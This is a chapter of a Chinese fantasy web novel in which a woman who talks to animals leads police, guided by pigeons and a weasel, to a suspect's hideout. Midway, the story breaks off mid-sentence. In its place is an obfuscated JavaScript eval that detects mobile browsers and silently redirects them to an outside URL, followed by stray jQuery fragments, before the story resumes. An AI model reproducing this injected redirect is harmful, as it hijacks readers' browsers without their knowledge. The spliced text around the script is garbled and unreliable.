黄书辞看着白鸽子,转过身盯着面无表情以至于有些凶的白则安,挑了挑眉,“走吧,白警官,我的证人来了。”
白则安皱眉左右张望一下,没有看到别的人影,有些犹豫地指向梳理翅膀的鸽子:“它吗?”
黄书辞点了点头,“嗯,它看到了交易的全过程,而且还有一个鸽子守着鸭舌帽男。”
白则安沉默地看着歪着头盯着他的白鸽子,嘴角抽了抽,“黄小姐,我还以为你的证人好歹得是个人。”
“我是人,我拍到了。”黄书辞点了点和黄鼠狼干架的白鸽子,“它也看到了,还知道他的位置,这不好吗?”
“可是,他不会说话。”白则安迟疑地看着饶有兴趣的黄书辞,见她这么仔细,一个荒谬的想法浮现在脑海中。
莫非,这个鸽子进化了!能说人话?不对啊……
“它会。”黄书辞蹲下来,摊开手心,白鸽子跳到手里歪着脑袋看白则安,“它现在再说你长得很凶。”
白鸽子见她睁眼说瞎话,着急地胡乱叫着,翅膀扑棱成螺旋桨,“我没有!万一他生气把我捉走怎么办,可恶的两脚兽。”
黄鼠狼一个跑酷从躺椅跳到吴春生旁边的男警察身上,男警察看热闹正起劲,肩上一沉迟疑地转头看到一个毛茸茸的脸。
“啊,鬼啊!”他被吓得大叫,连忙往后面退了几步,试图将黄鼠狼甩走。
吴春生见他这没出息的模样,忍不住翻了一个白眼,然后夹着嗓子温柔地说道:“来,到姐姐这里。”
黄鼠狼没想到他胆子这么小,内心愧疚了一秒,然后鄙夷地斜着眼望着瑟瑟发抖的男警察。
看吴春生温柔的说话,好歹是认识的警察,很给面子地顺从跳到她怀里。跟个大爷一样一躺,小手指了指白则安,嘴里发出慵懒的吱吱声:“找他,找他。”
吴春生小心翼翼看着脸色越发阴沉的白则安,将黄鼠狼往他那边送,“白警官啊,你看……”
“警察就要有个警察样,一个被小动物吓到,一个还抱着动物。我们是来查案的,不是来招猫逗狗的。”白则安冷淡地说着。
吴春生听到也只是笑了笑,直接把黄鼠狼塞到他的怀里,“哎,这不是它喜欢你嘛。交给你处理了。”
表面脸上笑嘻嘻,实则内心不断吐槽。
可恶的白则安,天天板着脸态度那么硬,还总是教训我们。黄大仙,信女愿意晚上吃素换您好好折腾一下他。
黄鼠狼耳朵懂了懂,好像从哪里感受到愿望。它大摇大摆从白则安僵硬地怀里爬出来,站在他肩膀上,毫不客气得揪着他的头发,不断吱吱叫着。
“听小满的,你个听不懂动物话的人,还不找专业人士帮忙。”
白则安只见黄鼠狼不断吱吱叫,然后生气地看着一脸迷茫的自己。
“它叫你听我的,不然就把你的头发揪掉。”黄书辞有些好笑,但是实在没办法,要是他不听自己的跟着去找那个人。
她也不会独自去,等下次再捉住不知道猴年马月。特殊事件特殊处理,黄书辞默默在心中祷告,忍住看着被狠狠欺负的白则安的笑意。
白则安皱眉,他是无神论者,从不相信这些鬼神之说,正准备拒绝。
比拒绝来得更快的是黄鼠狼用力揪着头发的手,他感觉自己的头发已经被摧残了。
吴春生个人还是比较相信这些奇闻异事,她和之前带她的老警察看了一些用科学解释不了的奇案。对这总有些敬畏之心,再说了,黑猫白猫能抓老鼠的就是好猫。
“白队,我们就跟着去吧。那视频我们不是都看过吗?确实可疑。”吴春生边说边向旁边的男警察使眼色。
他正游离天外,位置也相对于吴春生更向后,还在平复自己被吓到的心情。他是不相信一个鸽子真能带他们找到鸭舌帽男,有这功夫还不如多看看监控。
吴春生戳了戳他,皮笑肉不笑地说道:“你说呢?”
男警察正准备投反对票,但是抬头看着黄鼠狼眼神一记飞刀,抿了抿嘴想到老人常说的黄仙,狗腿地笑着:“我觉得可以去看看。”
白鸽子看着这几个两脚兽终于商量好,扇动翅膀往前面飞。它走的路和人类的路不大一样,都是些奇奇怪怪的小路。
它飞得不快,每隔一段就停下来,落到附近的树枝上或者路灯上,然后回头看着他们走路。
“哎,慢吞吞的,小灰都要等着急了。”白鸽子梳理自己的翅膀。
黄书辞听到了,抬头看着百无聊赖的白鸽子,然后侧头说道:“走快一点吧。”
白则安也注意到了,他听到了鸽子的叫声,随即就是黄书辞抬头观察说话。他看到她的动作很自然连贯,就好像…好像真的能听懂它们说话。
他们加快脚步,穿过一条巷子,又走过另一条。路面从沥青路变成石板路,再从石板路变成坑坑洼洼的土路。鞋子上粘满了泥土,房子也越来越老旧。
“这地方……”吴春生小声说道,“监控死角啊!”
白则安看了她一眼,没说话,只是默默打量四周。
黄鼠狼则嚣张地站在他肩膀上,把它最讨厌的人当坐骑很是舒心,毛绒绒的尾巴甩来甩去擦过白则安的后脖颈。
他的眉毛恨不得夹死一个苍蝇,但是只是沉默地看着得意洋洋的黄鼠狼,也没有硬把它抓下来。
白鸽子在一栋楼的树上停下来,“就是这栋,我和小灰亲眼看到了。”
灰鸽子站在树上打着瞌睡,太困了,吃饱饭就想睡觉。这也是难得加班活动了,只要把这个人抓走,就不用闻那些臭臭的饲料了!
“小灰!小灰!”白鸽子大声喊着,它只跟到这里就慌忙返回,也根本不知道具体位置。
白则安疑心病重,不动声色地观察大叫着的白鸽子。然后从另一个树上飞出来一个灰鸽子,它歪着脑袋直直撞向它。
“来了。”灰鸽子飞到白鸽子旁边,下意识
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17520418|202792||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
把它撞飞。
完蛋了,之前抢饭抢习惯了,忘记这次是来帮忙的了。
它心虚地扇动翅膀连忙飞到黄书辞肩膀上,“走吧走吧!我带你上去,他就在二楼,那个拉着窗帘的就是他家。”
黄书辞听到了,转过头看到一直盯着她的白则安,“白警官,走吧,他就在二楼左边那一户。”
男警察看到这么神奇的一幕,眼睛亮晶晶的,用手臂用力戳了戳吴春生,用没见过世面的语气说道:“快看!真能和动物沟通诶!”
吴春生严肃地跟在白则安身后,对于他的震惊有些不耐烦。真没眼力见,现在要找人了,还关心这个。
“别吵,跟上去抓人。”她说着,然后转头严肃看着黄书辞叮嘱道,“你就老实在这里待着,不要乱跑。”
黄书辞点了点头,给黄鼠狼使了一个眼色。它点点头,试图把自己的存在感缩到最小。
白则安则瞥了一眼变得乖巧的黄鼠狼,它已经不再抓着他的头发,尾巴也老实得放在自己身边,瞪着豆大的眼睛可怜兮兮地看着他。
我只是一个什么都不知道的小动物,你忍心丢下我吗?
白则安用行动告诉它,忍心相当忍心。他冷漠地把黄鼠狼扯下来,它用力地拿爪子抓住他的衬衫。
“刺啦”一声,衬衫破了一个大洞,黄书辞和黄鼠狼齐刷刷转移视线,眼神迷离不定,有些心虚地看着地上。
白则安无奈地将黄鼠狼递给她,“拿好,你们就在这里老老实实呆着。”边说,边看一一看向抱着黄鼠狼老实巴交的黄书辞,和在她肩膀上的两只鸽子。
明明这么尴尬的事情不是它们做的,但总有种莫名其妙的心虚感,一人三兽齐刷刷的点头。
白则安转身,所有人都松了一口气。
“小满,他们能抓住他不?我咋有种不祥的预感!”黄鼠狼抬头看着和它一样总有种说不出来奇怪的黄书辞。
“我也是,总感觉他会狗急跳墙。”黄书辞找了安全的地方坐着。
她抱着黄鼠狼,坐在楼下花坛边上。两只鸽子从她肩上飞下来,歪着脑袋看着单元门。
黄鼠狼的尾巴绷得直直的像一个天线,胡子一颤一颤,皱着眉手捂住心脏:“小满,我的心跳得好快!”
“我也是…”黄书辞垂眼面无表情。
“你不是能看到一点东西吗?要不看看。”黄鼠狼一个鲤鱼打挺,抓住她的衣服眼睛亮晶晶的。
黄书辞闭上眼,下意识皱眉歪过头。一片白茫茫的世界中,慢慢呈现出一点影像,灰色的它缓慢蠕动变形。
狭小的出租屋里摆满了各种各样的实验仪器,她的眼前一片灰暗,她转头看到门窗被封得死死的。大白天就像半夜一样,没有一丝光亮。
她嗅觉逐渐恢复,闻到了浑浊的空气里面夹杂着刺鼻的化学药剂味,还有吃完没有丢的外卖盒子。各种各样难闻的气息交织在一起,蟑螂和老鼠爬出来,随意地活动。